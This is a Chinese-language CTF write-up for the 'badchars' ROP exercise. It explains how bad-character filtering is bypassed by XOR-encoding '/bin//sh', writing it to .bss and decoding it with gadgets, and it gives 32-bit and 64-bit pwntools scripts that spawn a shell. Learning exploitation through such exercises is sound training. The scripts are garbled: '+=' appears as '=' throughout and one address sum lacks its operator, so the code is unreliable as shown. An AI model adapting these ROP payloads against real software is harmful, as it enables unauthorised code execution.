今天又是学习变pwn的一天
badchars32
检查程序
分析程序
我们首先运行一下程序,来看能得到什么信息
看到了badchars,我们在IDA里看下程序
通过checkbadchars函数我们可以发现对输入的字符串进行了过滤,使得我们无法直接写入”/bin/shx00” 这里可以对binsh进行异或加密输入,在调用xor gadget还原,这里用3异或
将数据写到bss段,我们可以通过readelf -S 文件名
来查看权限并查看地址
gadgets
接着就是找gadgets,我们要传入两次参数,然后在调用xor。
代码语言:javascript复制ROPgadget --binary ./badchars32 --only 'pop|mov|xor|ret'
system函数地址: 0x080484e0
exp
写exp的思路就是在传入/bin//sh之前要将其进行异或加密,这里我用的是与3异或,至于为什么用3,可能当时写的时候刚好手指在按键3上面吧。32位一次只能传4个字节,所以要传入两次。传入之后在调用xor来进行解密,解密之后通过system函数调用。
exp:
代码语言:javascript复制#encoding:utf-8
from pwn import *
sh = process('./badchars32')
mov_edi_esi = 0x08048893
pop_edi_esi = 0x08048899
pop_ebx_ecx = 0x08048896
xor_ebx = 0x08048890
sys_addr = 0x080484E0
bss_addr = 0x0804a040
#加密
binsh = "/bin//sh"
xorbinsh = ''
for i in binsh:
xorbinsh = chr(ord(i)^3)
#32位一次只能传入4个字符,所以要分两次传入
#第一次传入参数
payload = 'a'*44
payload = p32(pop_edi_esi)
payload = xorbinsh[0:4]
payload = p32(bss_addr)
payload = p32(mov_edi_esi)
#第二次传入参数
payload = p32(pop_edi_esi)
payload = xorbinsh[4:8]
payload = p32(bss_addr 4)
payload = p32(mov_edi_esi)
#加密桡过了badchars,所以接下来就是解密,然后通过system函数调用
# 解密函数
for x in range(0,len(xorbinsh)):
payload = p32(pop_ebx_ecx)
payload = p32(bss_addr int(x))
payload = p32(3)
payload = p32(xor_ebx)
#调用system执行传入参数
payload = p32(sys_addr)
payload = p32(0)
payload = p32(bss_addr)
#print(payload)
sh.sendline(payload)
sh.interactive()
badchars
64位的程序可以一次传入,还是先找合适的gadgets
exp
exp构造思路和32位相同,不过64位可以一次传入
exp
代码语言:javascript复制#encoding:utf-8
from pwn import *
sh = process('./badchars')
pop_r12_r13 = 0x0000000000400b3b
mov_r12_r13 = 0x0000000000400b34
pop_r14_r15 = 0x0000000000400b40
xor_r14_r15 = 0x0000000000400b30
pop_rdi = 0x0000000000400b39
sys_addr = 0x04006F0
bss_addr = 0x0601080
#加密
binsh = "/bin//sh"
xorbinsh = ''
for i in binsh:
xorbinsh = chr(ord(i)^3)
payload = 'a' * 40
payload = p64(pop_r12_r13)
payload = xorbinsh
payload = p64(bss_addr)
payload = p64(mov_r12_r13)
#print payload
#解密
for x in range(0,len(xorbinsh)):
payload = p64(pop_r14_r15)
payload = p64(3)
payload = p64(bss_addr int(x))
payload = p64(xor_r14_r15)
payload = p64(pop_rdi)
payload = p64(bss_addr)
payload = p64(sys_addr)
sh.sendline(payload)
sh.interactive()